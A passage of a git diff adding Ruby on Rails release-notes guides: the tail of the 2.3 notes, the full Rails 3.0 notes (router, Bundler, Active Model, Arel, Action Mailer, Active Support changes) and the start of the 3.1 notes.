+* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`).
+* Rails Guides have been converted from AsciiDoc to Textile markup.
+* Scaffolded views and controllers have been cleaned up a bit.
+* `script/server` now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path.
+* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
+* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
+
+Deprecated
+----------
+
+A few pieces of older code are deprecated in this release:
+
+* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](http://github.com/rails/irs_process_scripts/tree) plugin.
+* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master.)
+* Support for Rails components has been removed.
+* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back.
+* `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now.
+* The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect.
+* Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client.
+* `formatted_polymorphic_url` is deprecated. Use `polymorphic_url` with `:format` instead.
+* The `:http_only` option in `ActionController::Response#set_cookie` has been renamed to `:httponly`.
+* The `:connector` and `:skip_last_comma` options of `to_sentence` have been replaced by `:words_connnector`, `:two_words_connector`, and `:last_word_connector` options.
+* Posting a multipart form with an empty `file_field` control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
+
+Credits
+-------
+
+Release notes compiled by [Mike Gunderloy](http://afreshcup.com.) This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md
new file mode 100644
index 0000000..388ba3f
--- /dev/null
+++ b/guides/source/3_0_release_notes.md
@@ -0,0 +1,614 @@
+Ruby on Rails 3.0 Release Notes
+===============================
+
+Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done!
+
+But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too.
+
+Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are:
+
+* Brand new router with an emphasis on RESTful declarations
+* New Action Mailer API modeled after Action Controller (now without the agonizing pain of sending multipart messages!)
+* New Active Record chainable query language built on top of relational algebra
+* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS)
+* Explicit dependency management with Bundler
+
+On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices.
+
+These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+To install Rails 3:
+
+```bash
+# Use sudo if your setup requires it
+$ gem install rails
+```
+
+
+Upgrading to Rails 3
+--------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:
+
+### Rails 3 requires at least Ruby 1.8.7
+
+Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.
+
+### Rails Application object
+
+As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to `config/environment.rb` from the previous versions of Rails.
+
+Each Rails application now must have a corresponding application object. The application object is defined in `config/application.rb`. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from `config/environment.rb` to `config/application.rb`.
+
+### script/* replaced by script/rails
+
+The new `script/rails` replaces all the scripts that used to be in the `script` directory. You do not run `script/rails` directly though, the `rails` command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:
+
+```bash
+$ rails console # instead of script/console
+$ rails g scaffold post title:string # instead of script/generate scaffold post title:string
+```
+
+Run `rails --help` for a list of all the options.
+
+### Dependencies and config.gem
+
+The `config.gem` method is gone and has been replaced by using `bundler` and a `Gemfile`, see [Vendoring Gems](#vendoring-gems) below.
+
+### Upgrade Process
+
+To help with the upgrade process, a plugin named [Rails Upgrade](http://github.com/rails/rails_upgrade) has been created to automate part of it.
+
+Simply install the plugin, then run `rake rails:upgrade:check` to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a `Gemfile` based on your current `config.gem` calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:
+
+```bash
+$ ruby script/plugin install git://github.com/rails/rails_upgrade.git
+```
+
+You can see an example of how that works at [Rails Upgrade is now an Official Plugin](http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin)
+
+Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!
+
+More information - [The Path to Rails 3: Approaching the upgrade](http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade)
+
+Creating a Rails 3.0 application
+--------------------------------
+
+```bash
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](http://github.com/carlhuda/bundler,) which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: - [bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command, so `rake freeze` is no longer relevant and has been dropped.
+
+If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/bin/rails new myapp --dev
+```
+
+Rails Architectural Changes
+---------------------------
+
+There are six major changes in the architecture of Rails.
+
+### Railties Restrung
+
+Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.
+
+### All Rails core components are decoupled
+
+With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.
+
+More information: - [The Great Decoupling](http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/)
+
+
+### Active Model Abstraction
+
+Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
+
+More information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/)
+
+
+### Controller Abstraction
+
+Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of `AbstractController` allowed `ActionController` and `ActionMailer` to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.
+
+More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/)
+
+
+### Arel Integration
+
+[Arel](http://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.
+
+More information: - [Why I wrote Arel](http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/.)
+
+
+### Mail Extraction
+
+Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the [Mail](http://github.com/mikel/mail) gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.
+
+More information: - [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3)
+
+
+Documentation
+-------------
+
+The documentation in the Rails tree is being updated with all the API changes, additionally, the [Rails Edge Guides](http://edgeguides.rubyonrails.org/) are being updated one by one to reflect the changes in Rails 3.0. The guides at [guides.rubyonrails.org](http://guides.rubyonrails.org/) however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).
+
+More Information: - [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.)
+
+
+Internationalization
+--------------------
+
+A large amount of work has been done with I18n support in Rails 3, including the latest [I18n](http://github.com/svenfuchs/i18n) gem supplying many speed improvements.
+
+* I18n for any object - I18n behavior can be added to any object by including `ActiveModel::Translation` and `ActiveModel::Validations`. There is also an `errors.messages` fallback for translations.
+* Attributes can have default translations.
+* Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.
+* Labels with I18n also now work by just passing the attribute name.
+
+More Information: - [Rails 3 I18n changes](http://blog.plataformatec.com.br/2010/02/rails-3-i18n-changes/)
+
+
+Railties
+--------
+
+With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible:
+
+* Each application now has its own name space, application is started with `YourAppName.boot` for example, makes interacting with other applications a lot easier.
+* Anything under `Rails.root/app` is now added to the load path, so you can make `app/observers/user_observer.rb` and Rails will load it without any modifications.
+* Rails 3.0 now provides a `Rails.config` object, which provides a central repository of all sorts of Rails wide configuration options.
+
+ Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new `--dev` flag has been added which sets the application up with the `Gemfile` pointing to your Rails checkout (which is determined by the path to the `rails` binary). See `rails --help` for more info.
+
+Railties generators got a huge amount of attention in Rails 3.0, basically:
+
+* Generators were completely rewritten and are backwards incompatible.
+* Rails templates API and generators API were merged (they are the same as the former).
+* Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling `rails generate foo` will look for `generators/foo_generator`.
+* New generators provide hooks, so any template engine, ORM, test framework can easily hook in.
+* New generators allow you to override the templates by placing a copy at `Rails.root/lib/templates`.
+* `Rails::Generators::TestCase` is also supplied so you can create your own generators and test them.
+
+Also, the views generated by Railties generators had some overhaul:
+
+* Views now use `div` tags instead of `p` tags.
+* Scaffolds generated now make use of `_form` partials, instead of duplicated code in the edit and new views.
+* Scaffold forms now use `f.submit` which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in.
+
+Finally a couple of enhancements were added to the rake tasks:
+
+* `rake db:forward` was added, allowing you to roll forward your migrations individually or in groups.
+* `rake routes CONTROLLER=x` was added allowing you to just view the routes for one controller.
+
+Railties now deprecates:
+
+* `RAILS_ROOT` in favor of `Rails.root`,
+* `RAILS_ENV` in favor of `Rails.env`, and
+* `RAILS_DEFAULT_LOGGER` in favor of `Rails.logger`.
+
+`PLUGIN/rails/tasks`, and `PLUGIN/tasks` are no longer loaded all tasks now must be in `PLUGIN/lib/tasks`.
+
+More information:
+
+* [Discovering Rails 3 generators](http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators)
+* [Making Generators for Rails 3 with Thor](http://caffeinedd.com/guides/331-making-generators-for-rails-3-with-thor)
+* [The Rails Module (in Rails 3)](http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/)
+
+Action Pack
+-----------
+
+There have been significant internal and external changes in Action Pack.
+
+
+### Abstract Controller
+
+Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed `ActionMailer::Base` to now just inherit from `AbstractController` and just wrap the Rails DSL onto the Mail gem.
+
+It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.
+
+Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails.
+
+More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/)
+
+
+### Action Controller
+
+* `application_controller.rb` now has `protect_from_forgery` on by default.
+* The `cookie_verifier_secret` has been deprecated and now instead it is assigned through `Rails.application.config.cookie_secret` and moved into its own file: `config/initializers/cookie_verification_secret.rb`.
+* The `session_store` was configured in `ActionController::Base.session`, and that is now moved to `Rails.application.config.session_store`. Defaults are set up in `config/initializers/session_store.rb`.
+* `cookies.secure` allowing you to set encrypted values in cookies with `cookie.secure[:key] => value`.
+* `cookies.permanent` allowing you to set permanent values in the cookie hash `cookie.permanent[:key] => value` that raise exceptions on signed values if verification failures.
+* You can now pass `:notice => 'This is a flash message'` or `:alert => 'Something went wrong'` to the `format` call inside a `respond_to` block. The `flash[]` hash still works as previously.
+* `respond_with` method has now been added to your controllers simplifying the venerable `format` blocks.
+* `ActionController::Responder` added allowing you flexibility in how your responses get generated.
+
+Deprecations:
+
+* `filter_parameter_logging` is deprecated in favor of `config.filter_parameters << :password`.
+
+More Information:
+
+* [Render Options in Rails 3](http://www.engineyard.com/blog/2010/render-options-in-rails-3/)
+* [Three reasons to love ActionController::Responder](http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder)
+
+
+### Action Dispatch
+
+Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.
+
+* Big clean up and re-write of the router, the Rails router is now `rack_mount` with a Rails DSL on top, it is a stand alone piece of software.
+* Routes defined by each application are now name spaced within your Application module, that is:
+
+ ```ruby
+ # Instead of:
+
+ ActionController::Routing::Routes.draw do |map|
+ map.resources :posts
+ end
+
+ # You do:
+
+ AppName::Application.routes do
+ resources :posts
+ end
+ ```
+
+* Added `match` method to the router, you can also pass any Rack application to the matched route.
+* Added `constraints` method to the router, allowing you to guard routers with defined constraints.
+* Added `scope` method to the router, allowing you to namespace routes for different languages or different actions, for example:
+
+ ```ruby
+ scope 'es' do
+ resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto'
+ end
+
+ # Gives you the edit action with /es/proyecto/1/cambiar
+ ```
+
+* Added `root` method to the router as a short cut for `match '/', :to => path`.
+* You can pass optional segments into the match, for example `match "/:controller(/:action(/:id))(.:format)"`, each parenthesized segment is optional.
+* Routes can be expressed via blocks, for example you can call `controller :home { match '/:action' }`.
+
+NOTE. The old style `map` commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.
+
+Deprecations
+
+* The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out.
+* Routes :path\_prefix no longer exists and :name\_prefix now automatically adds "\_" at the end of the given value.
+
+More Information:
+* [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/)
+* [Revamped Routes in Rails 3](http://rizwanreza.com/2009/12/20/revamped-routes-in-rails-3)
+* [Generic Actions in Rails 3](http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/)
+
+
+### Action View
+
+#### Unobtrusive JavaScript
+
+Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.
+
+What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](http://github.com/rails/prototype_legacy_helper.) To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example:
+
+```ruby
+form_for @post, :remote => true
+```
+
+Produces:
+
+```html
+<form action="http://host.com" id="create-post" method="post" data-remote="true">
+```
+
+#### Helpers with Blocks
+
+Helpers like `form_for` or `div_for` that insert content from a block use `<%=` now:
+
+```html+erb
+<%= form_for @post do |f| %>
+ ...
+<% end %>
+```
+
+Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.
+
+Helpers that do something else, like `cache` or `content_for`, are not affected by this change, they need `<%` as before.
+
+#### Other Changes
+
+* You no longer need to call `h(string)` to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call `raw(string)`.
+* Helpers now output HTML 5 by default.
+* Form label helper now pulls values from I18n with a single value, so `f.label :name` will pull the `:name` translation.
+* I18n select label on should now be :en.helpers.select instead of :en.support.select.
+* You no longer need to place a minus sign at the end of a ruby interpolation inside an ERb template to remove the trailing carriage return in the HTML output.
+* Added `grouped_collection_select` helper to Action View.
+* `content_for?` has been added allowing you to check for the existence of content in a view before rendering.
+* passing `:value => nil` to form helpers will set the field's `value` attribute to nil as opposed to using the default value
+* passing `:id => nil` to form helpers will cause those fields to be rendered with no `id` attribute
+* passing `:alt => nil` to `image_tag` will cause the `img` tag to render with no `alt` attribute
+
+Active Model
+------------
+
+Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface.
+
+
+### ORM Abstraction and Action Pack Interface
+
+Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
+
+More Information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/)
+
+
+### Validations
+
+Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3.
+
+* There is now a `validates :attribute, options_hash` shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.
+* The `validates` method has the following options:
+ * `:acceptance => Boolean`.
+ * `:confirmation => Boolean`.
+ * `:exclusion => { :in => Enumerable }`.
+ * `:inclusion => { :in => Enumerable }`.
+ * `:format => { :with => Regexp, :on => :create }`.
+ * `:length => { :maximum => Fixnum }`.
+ * `:numericality => Boolean`.
+ * `:presence => Boolean`.
+ * `:uniqueness => Boolean`.
+
+NOTE: All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API.
+
+You can also pass in a validator object, which you can then reuse between objects that use Active Model:
+
+```ruby
+class TitleValidator < ActiveModel::EachValidator
+ Titles = ['Mr.', 'Mrs.', 'Dr.']
+ def validate_each(record, attribute, value)
+ unless Titles.include?(value)
+ record.errors[attribute] << 'must be a valid title'
+ end
+ end
+end
+```
+
+```ruby
+class Person
+ include ActiveModel::Validations
+ attr_accessor :title
+ validates :title, :presence => true, :title => true
+end
+
+# Or for Active Record
+
+class Person < ActiveRecord::Base
+ validates :title, :presence => true, :title => true
+end
+```
+
+There's also support for introspection:
+
+```ruby
+User.validators
+User.validators_on(:login)
+```
+
+More Information:
+
+* [Sexy Validation in Rails 3](http://thelucid.com/2010/01/08/sexy-validation-in-edge-rails-rails-3/)
+* [Rails 3 Validations Explained](http://lindsaar.net/2010/1/31/validates_rails_3_awesome_is_true)
+
+
+Active Record
+-------------
+
+Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.
+
+
+### Query Interface
+
+Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together:
+
+* `where` - provides conditions on the relation, what gets returned.
+* `select` - choose what attributes of the models you wish to have returned from the database.
+* `group` - groups the relation on the attribute supplied.
+* `having` - provides an expression limiting group relations (GROUP BY constraint).
+* `joins` - joins the relation to another table.
+* `clause` - provides an expression limiting join relations (JOIN constraint).
+* `includes` - includes other relations pre-loaded.
+* `order` - orders the relation based on the expression supplied.
+* `limit` - limits the relation to the number of records specified.
+* `lock` - locks the records returned from the table.
+* `readonly` - returns an read only copy of the data.
+* `from` - provides a way to select relationships from more than one table.
+* `scope` - (previously `named_scope`) return relations and can be chained together with the other relation methods.
+* `with_scope` - and `with_exclusive_scope` now also return relations and so can be chained.
+* `default_scope` - also works with relations.
+
+More Information:
+
+* [Active Record Query Interface](http://m.onkey.org/2010/1/22/active-record-query-interface)
+* [Let your SQL Growl in Rails 3](http://hasmanyquestions.wordpress.com/2010/01/17/let-your-sql-growl-in-rails-3/)
+
+
+### Enhancements
+
+* Added `:destroyed?` to Active Record objects.
+* Added `:inverse_of` to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.
+
+
+### Patches and Deprecations
+
+Additionally, many fixes in the Active Record branch:
+
+* SQLite 2 support has been dropped in favor of SQLite 3.
+* MySQL support for column order.
+* PostgreSQL adapter has had its `TIME ZONE` support fixed so it no longer inserts incorrect values.
+* Support multiple schemas in table names for PostgreSQL.
+* PostgreSQL support for the XML data type column.
+* `table_name` is now cached.
+* A large amount of work done on the Oracle adapter as well with many bug fixes.
+
+As well as the following deprecations:
+
+* `named_scope` in an Active Record class is deprecated and has been renamed to just `scope`.
+* In `scope` methods, you should move to using the relation methods, instead of a `:conditions => {}` finder method, for example `scope :since, lambda {|time| where("created_at > ?", time) }`.
+* `save(false)` is deprecated, in favor of `save(:validate => false)`.
+* I18n error messages for ActiveRecord should be changed from :en.activerecord.errors.template to `:en.errors.template`.
+* `model.errors.on` is deprecated in favor of `model.errors[]`
+* validates_presence_of => validates... :presence => true
+* `ActiveRecord::Base.colorize_logging` and `config.active_record.colorize_logging` are deprecated in favor of `Rails::LogSubscriber.colorize_logging` or `config.colorize_logging`
+
+NOTE: While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.
+
+
+Active Resource
+---------------
+
+Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.
+
+* Added validations through Active Model.
+* Added observing hooks.
+* HTTP proxy support.
+* Added support for digest authentication.
+* Moved model naming into Active Model.
+* Changed Active Resource attributes to a Hash with indifferent access.
+* Added `first`, `last` and `all` aliases for equivalent find scopes.
+* `find_every` now does not return a `ResourceNotFound` error if nothing returned.
+* Added `save!` which raises `ResourceInvalid` unless the object is `valid?`.
+* `update_attribute` and `update_attributes` added to Active Resource models.
+* Added `exists?`.
+* Renamed `SchemaDefinition` to `Schema` and `define_schema` to `schema`.
+* Use the `format` of Active Resources rather than the `content-type` of remote errors to load errors.
+* Use `instance_eval` for schema block.
+* Fix `ActiveResource::ConnectionError#to_s` when `@response` does not respond to #code or #message, handles Ruby 1.9 compatibility.
+* Add support for errors in JSON format.
+* Ensure `load` works with numeric arrays.
+* Recognizes a 410 response from remote resource as the resource has been deleted.
+* Add ability to set SSL options on Active Resource connections.
+* Setting connection timeout also affects `Net::HTTP` `open_timeout`.
+
+Deprecations:
+
+* `save(false)` is deprecated, in favor of `save(:validate => false)`.
+* Ruby 1.9.2: `URI.parse` and `.decode` are deprecated and are no longer used in the library.
+
+
+Active Support
+--------------
+
+A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer.
+
+These are the main changes in Active Support:
+
+* Large clean up of the library removing unused methods throughout.
+* Active Support no longer provides vendored versions of [TZInfo](http://tzinfo.rubyforge.org/), [Memcache Client](http://deveiate.org/projects/RMemCache/) and [Builder](http://builder.rubyforge.org/,) these are all included as dependencies and installed via the `bundle install` command.
+* Safe buffers are implemented in `ActiveSupport::SafeBuffer`.
+* Added `Array.uniq_by` and `Array.uniq_by!`.
+* Removed `Array#rand` and backported `Array#sample` from Ruby 1.9.
+* Fixed bug on `TimeZone.seconds_to_utc_offset` returning wrong value.
+* Added `ActiveSupport::Notifications` middleware.
+* `ActiveSupport.use_standard_json_time_format` now defaults to true.
+* `ActiveSupport.escape_html_entities_in_json` now defaults to false.
+* `Integer#multiple_of?` accepts zero as an argument, returns false unless the receiver is zero.
+* `string.chars` has been renamed to `string.mb_chars`.
+* `ActiveSupport::OrderedHash` now can de-serialize through YAML.
+* Added SAX-based parser for XmlMini, using LibXML and Nokogiri.
+* Added `Object#presence` that returns the object if it's `#present?` otherwise returns `nil`.
+* Added `String#exclude?` core extension that returns the inverse of `#include?`.
+* Added `to_i` to `DateTime` in `ActiveSupport` so `to_yaml` works correctly on models with `DateTime` attributes.
+* Added `Enumerable#exclude?` to bring parity to `Enumerable#include?` and avoid if `!x.include?`.
+* Switch to on-by-default XSS escaping for rails.
+* Support deep-merging in `ActiveSupport::HashWithIndifferentAccess`.
+* `Enumerable#sum` now works will all enumerables, even if they don't respond to `:size`.
+* `inspect` on a zero length duration returns '0 seconds' instead of empty string.
+* Add `element` and `collection` to `ModelName`.
+* `String#to_time` and `String#to_datetime` handle fractional seconds.
+* Added support to new callbacks for around filter object that respond to `:before` and `:after` used in before and after callbacks.
+* The `ActiveSupport::OrderedHash#to_a` method returns an ordered set of arrays. Matches Ruby 1.9's `Hash#to_a`.
+* `MissingSourceFile` exists as a constant but it is now just equals to `LoadError`.
+* Added `Class#class_attribute`, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.
+* Finally removed `DeprecatedCallbacks` in `ActiveRecord::Associations`.
+* `Object#metaclass` is now `Kernel#singleton_class` to match Ruby.
+
+The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.
+
+* `Integer#even?` and `Integer#odd?`
+* `String#each_char`
+* `String#start_with?` and `String#end_with?` (3rd person aliases still kept)
+* `String#bytesize`
+* `Object#tap`
+* `Symbol#to_proc`
+* `Object#instance_variable_defined?`
+* `Enumerable#none?`
+
+The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.
+
+The following methods have been removed because they are no longer used in the framework:
+
+* `Kernel#daemonize`
+* `Object#remove_subclasses_of` `Object#extend_with_included_modules_from`, `Object#extended_by`
+* `Class#remove_class`
+* `Regexp#number_of_captures`, `Regexp.unoptionalize`, `Regexp.optionalize`, `Regexp#number_of_captures`
+
+
+Action Mailer
+-------------
+
+Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.
+
+* All mailers are now in `app/mailers` by default.
+* Can now send email using new API with three methods: `attachments`, `headers` and `mail`.
+* ActionMailer now has native support for inline attachments using the `attachments.inline` method.
+* Action Mailer emailing methods now return `Mail::Message` objects, which can then be sent the `deliver` message to send itself.
+* All delivery methods are now abstracted out to the Mail gem.
+* The mail delivery method can accept a hash of all valid mail header fields with their value pair.
+* The `mail` delivery method acts in a similar way to Action Controller's `respond_to`, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.
+* You can pass a proc to the `format.mime_type` calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The `render` call inside the proc is from Abstract Controller and supports the same options.
+* What were mailer unit tests have been moved to functional tests.
+* Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem
+* Action Mailer will auto encode email bodies and headers for you
+
+Deprecations:
+
+* `:charset`, `:content_type`, `:mime_version`, `:implicit_parts_order` are all deprecated in favor of `ActionMailer.default :key => value` style declarations.
+* Mailer dynamic `create_method_name` and `deliver_method_name` are deprecated, just call `method_name` which now returns a `Mail::Message` object.
+* `ActionMailer.deliver(message)` is deprecated, just call `message.deliver`.
+* `template_root` is deprecated, pass options to a render call inside a proc from the `format.mime_type` method inside the `mail` generation block
+* The `body` method to define instance variables is deprecated (`body {:ivar => value}`), just declare instance variables in the method directly and they will be available in the view.
+* Mailers being in `app/models` is deprecated, use `app/mailers` instead.
+
+More Information:
+
+* [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3)
+* [New Mail Gem for Ruby](http://lindsaar.net/2010/1/23/mail-gem-version-2-released)
+
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them.
+
+Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net.)
+
diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md
new file mode 100644
index 0000000..d3f8abe
--- /dev/null
+++ b/guides/source/3_1_release_notes.md
@@ -0,0 +1,556 @@
+Ruby on Rails 3.1 Release Notes
+===============================
+
+Highlights in Rails 3.1:
+
+* Streaming
+* Reversible Migrations
+* Assets Pipeline
+* jQuery as the default JavaScript library
+
+This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 3.1
+----------------------
+
